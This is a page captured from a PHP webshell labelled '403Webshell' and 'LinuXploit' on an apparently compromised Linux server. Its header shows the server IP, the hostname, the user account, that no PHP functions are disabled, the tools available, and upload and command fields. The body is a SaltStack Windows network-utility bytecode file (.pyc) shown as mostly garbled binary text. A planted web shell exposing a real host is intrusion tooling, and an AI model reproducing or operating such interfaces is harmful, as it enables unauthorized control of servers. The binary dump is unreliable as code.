403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/win_network.cpython-310.pyc
o

;j�N�@sdZddlZddlZddlZddlmZe��dkZe�	e
�ZdZerrej
jjdddd	�Zed
r7eddkr:d
ZndZerGddlZddlZn+zddlZddlmZddlmZWneyqe�d�d
ZddlZddlZYnwidd�dd�dd�dd�dd�dd�dd�d d!�d"d#�d$d%�d&d'�d(d)�d*d+�d,d-�d.d/�d0d1�d2d3�d4d5d6d7d8d9d:d;d<d=d>d?d@��ZdAdBdCddDdEdFdG�ZdHdIdJdKdLdMdN�ZdOZdZdPdQ�Z dRdS�Z!dTdU�Z"dVdW�Z#dXdY�Z$dZd[�Z%d\d]�Z&d^d_�Z'd`da�Z(dbdc�Z)ddde�Z*dfdg�Z+dhdi�Z,djdk�Z-dS)la6
This salt util uses WMI to gather network information on Windows 7 and .NET 4.0+
on newer systems.
The reason for this is that calls to WMI tend to be slower. Especially if the
query has not been optimized. For example, timing to gather NIC info from WMI
and .NET were as follows in testing:
WMI: 3.4169998168945312 seconds
NET: 1.0390000343322754 seconds
Since this is used to generate grain information we want to avoid using WMI as
much as possible.
There are 3 functions in this salt util.
- get_interface_info_dot_net
- get_interface_info_wmi
- get_interface_info
The ``get_interface_info`` function will call one of the other two functions
depending on the version of Windows this is run on. Once support for Windows
7 is dropped we can remove the WMI stuff and just use .NET.
:depends: - pythonnet
          - wmi
�N)�	ipaddress�WindowsZwin_networkZHKLMz2SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\FullZRelease)Zhive�keyZvname�successZvdatai�TF)�NetworkInformation)�NetworkInterfaceComponentz-Failed to load pythonnet. Falling back to WMI�ZUnknown�ZEthernet�	Z	TokenRing�ZFDDI�Z	BasicISDN�ZPrimaryISDN�ZPPP��Loopback�ZEthernet3Megabit�ZSlip�%ZATM�0ZGenericModem�5Z
TAPAdapter�>Z
FastEthernetT�?ZISDN�EZFastEthernetFx�GzWireless802.11Z
AsymmetricDSLZRateAdaptDSLZSymmetricDSLZVeryHighSpeedDSLZ	IPOverATMZGigabitEthernetZTunnelZMultiRateSymmetricDSLZHighPerformanceSerialBusZWMANZWWANPPZWWANPP2)�^�_�`�a�r�u����������UpZDownZTestingZDormantZ
NotPresentZ	LayerDown)r����r	�ZOtherZManualZ	WellKnownZDHCPZRouter�Random)rrr'r(r)r*r'cCstsdStS)z
    Only load if windows
    )Fz%This utility will only run on Windows)�
IS_WINDOWS�__virtualname__�r/r/�J/opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/win_network.py�__virtual__�sr1cs�|�����z|j��}Wnty*zt|j}Wnty'|j}YnwYnw|j|j|j|j	|d�
�fdd�tddd�D��d�}z
|j��|d<W|Styat
|j|d<Y|Sw)	N�:c3s �|]}�||d�VqdS)r'Nr/��.0�i�Zraw_macr/r0�	<genexpr>���z'_get_base_properties.<locals>.<genexpr>r�r')�alias�description�idZreceive_only�type�physical_address�status)ZGetPhysicalAddress�ToStringZNetworkInterfaceType�AttributeError�enum_adapter_types�KeyError�Description�NameZIdZ
IsReceiveOnly�join�rangeZOperationalStatus�enum_operational_status)�i_faceZi_face_type�retr/r6r0�_get_base_properties�s2
������rKc
Cs�|��}|j|j|jd�}|�tj�r;|��}|r.|�|j	|j
|j|j|j
|j|jd��n
|�dddddddd��|�tj�rb|��}|rS|�|j
|jd��|St�d|j�|�ddd��|S)N)Z
dns_suffixZdns_enabledZdynamic_dns_enabled)�ipv4_apipa_active�ipv4_apipa_enabled�ipv4_dhcp_enabled�ipv4_forwarding_enabled�
ipv4_index�ipv4_mtu�ipv4_wins_enabled)�
ipv6_index�ipv6_mtuzNo IPv6 properties found for %s)�GetIPPropertiesZ	DnsSuffixZIsDnsEnabledZIsDynamicDnsEnabledZSupportsrZIPv4ZGetIPv4Properties�updateZ"IsAutomaticPrivateAddressingActiveZ#IsAutomaticPrivateAddressingEnabledZ
IsDhcpEnabledZIsForwardingEnabledZIndexZMtuZUsesWinsZIPv6ZGetIPv6Properties�log�debugrE)rI�
ip_propertiesZip_base_propertiesZipv4_propertiesZipv6_propertiesr/r/r0�_get_ip_base_properties�s\�����������rZc
	Cs�|��}i}|jjdkr�tdtdi}|jD]�}z|jj��dkr#d}nd}Wn
ty3|jj}Ynw|tkrZ|j��}|j	��}t
�|d|d�}|||jj
|jj��d	�}	n|j���d
�dt|jj�d�}	|	�d|ji�z|	�d
|j��i�Wnty�|	�d
t|ji�Ynwz|	�d|j��i�Wnty�|	�dt|ji�Ynw|�||g��|	�q|S)Nr�ip_addresses�ipv6_addresses�InterNetworkr'r�/F)�address�netmask�	broadcastZloopback�%)r_Zinterface_index�
prefix_lengthZ
prefix_originZ
suffix_origin)rUZUnicastAddresses�Count�af_inet�af_inet6�Address�
AddressFamilyr@rAZIPv4Maskr�IPv4Network�broadcast_address�
compressedr�split�intZScopeIdrVZPrefixLengthZPrefixOrigin�enum_prefix_suffixZSuffixOrigin�
setdefault�append)
rIrY�int_dict�names�addrs�family�ip�mask�netZip_infor/r/r0�_get_ip_unicast_info�s\
��


�
�������rxc	C�|��}i}|jjdkrHtdtdi}|jD]2}z|jj��dkr#d}nd}Wn
ty3|jj}Ynw|�	||g��
|j���d�d�q|S)Nr�ip_gateways�
ipv6_gatewaysr]r'rrb)rUZGatewayAddressesrdrerfrgrhr@rArorprl�rIrYrqrrrsrtr/r/r0�_get_ip_gateway_info%�"
���r}c	Cs�|��}i}|jjdkrEtdtdi}|jD]/}z|j��dkr"d}nd}Wnty1|j}Ynw|�||g��	|���
d�d�q|S)NrZip_dnsZipv6_dnsr]r'rrb)rUZDnsAddressesrdrerfrhr@rArorprlr|r/r/r0�_get_ip_dns_info:s"
�
��rc	Cry)NrZip_multicastZipv6_multicastr]r'rrb)rUZMulticastAddressesrdrerfrgrhr@rArorprlr|r/r/r0�_get_ip_multicast_infoOr~r�c	Cs�|��}i}|jjdkrCtdtdi}|jD]-}z|jj��dkr#d}nd}Wn
ty3|jj}Ynw|�	||g��
|j���q|S)NrZ
ip_anycastZipv6_anycastr]r'r)rUZAnycastAddressesrdrerfrgrhr@rArorpr|r/r/r0�_get_ip_anycast_infods
��r�cCs>|��}i}|jjdkr|jD]
}|�dg��|���q|S)NrZip_wins)rUZWinsServersAddressesrdrorpr@)rIrYrqrsr/r/r0�_get_ip_wins_infows
r�cCs
tj��S)N)rZNetworkInterfaceZGetAllNetworkInterfacesr/r/r/r0�_get_network_interfaces�s
r�cCsdt�}i}|D]�}||ddkr�|}|�|i��||d||ddd��||�dg�D]K}||�dg��|d	||�d
�||�d�|d||�d
�||�d�||�ddg�d||�d�|d||�d�||�d�d��q0||�dg�D]*}||�dg��|d	||�ddg�d|d||�d�||�d�d��q�q|S)z�
    Returns data gathered via ``get_interface_info_dot_net`` and returns the
    info in the same manner as ``get_interface_info_wmi``

    Returns:
        dict: A dictionary of information about all interfaces on the system
    r?r&r;r>T)r;�hwaddr�upr[�inetr_rLrMrarNrPrz�rrQr`rOrR)r_Zapipa_activeZ
apipa_enabledraZdhcp_enabled�index�gateway�mtur`Zforwarding_enabledZwins_enabledr\�inet6r{rcrSrT)r_r��	prefixlenr�r�)�get_interface_info_dot_netrorV�getrp)�
interfaces�i_facesrI�namerur/r/r0�$get_interface_info_dot_net_formatted�sN	

��������
r�cCs�i}t�D]<}t|�}|�t|��|�t|��|�t|��|�t|��|�t|��|�t|��|�t	|��|||j
<q|S)z�
    Uses .NET 4.0+ to gather Network Interface information. Should only run on
    Windows systems newer than Windows 7/Server 2008R2

    Returns:
        dict: A dictionary of information about all interfaces on the system
    )r�rKrVrZrxr}rr�r�r�rE)r�rIZ	temp_dictr/r/r0r��s
r�cCstjj����t��}i}|jdd�D]�}i||j<|jr%|j||jd<|j	r�d||jd<|j
D]�}d|vr�d||jvrFg||jd<||jd�}|jr`td	d
�|jD�d�}|r`||d<|j
r�td
d
�|j
D�d�}|r�||d<ztj|�d|��dd�jj|d<Wnttjfy�t�d||�Ynw||jd�|�d|vr�d||jvr�g||jd<d|i}|jr�tdd
�|jD�d�}|r�||d<|j
r�tdd
�|j
D�d�}|r�||d<||jd�|�q2qd||jd<qWd�|S1�swY|S)a5
    Uses WMI to gather Network Interface information. Should only run on
    Windows 7/2008 R2 and lower systems. This code was pulled from the
    ``win_interfaces`` function in ``salt.utils.network`` unchanged.

    Returns:
        dict: A dictionary of information about all interfaces on the system
    r)�	IPEnabledr�Tr��.r�)r_Zlabelcs��|]	}d|vr|VqdS�r�Nr/r3r/r/r0r7���z)get_interface_info_wmi.<locals>.<genexpr>r�r�csr�r�r/r3r/r/r0r7�r�r`r^F)�strictraz%Could not compute broadcast for %s/%sr2r�r_csr�)r2Nr/r3r/r/r0r7r�css �|]}d|vrt|�VqdSr�)rmr3r/r/r0r7	r8Nr�)�salt�utilsZwinapiZCom�wmiZWMIZ!Win32_NetworkAdapterConfigurationrDZ
MACAddressr�Z	IPAddressZDefaultIPGateway�nextZIPSubnetrrirjrk�
ValueError�AddressValueErrorrWrXrp)�cr�rIru�itemr�r`r�r/r/r0�get_interface_info_wmi�s~	

��
�������,�
�6�6r�cCstrt�St�S)a-
    This function will return network interface information for the system and
    will use the best method to retrieve that information. Windows 7/2008R2 and
    below will use WMI. Newer systems will use .NET.
    Returns:
        dict: A dictionary of information about the Network interfaces
    )�USE_WMIr�r�r/r/r/r0�get_interface_infos	r�).�__doc__�logging�platformZsalt.utils.win_regr�Zsalt._compatr�systemr-�	getLogger�__name__rWr.r�Zwin_regZ
read_valueZnet_releaser�r�Zsalt.utils.winapiZclrZ
System.NetrZSystem.Net.NetworkInformationr�RuntimeErrorrXrBrHrnrerfr1rKrZrxr}rr�r�r�r�r�r�r�r�r/r/r/r0�<module>s�
�

���������	�
���
������!��	
;<	5B

Youez - 2016 - github.com/yon3zu
LinuXploit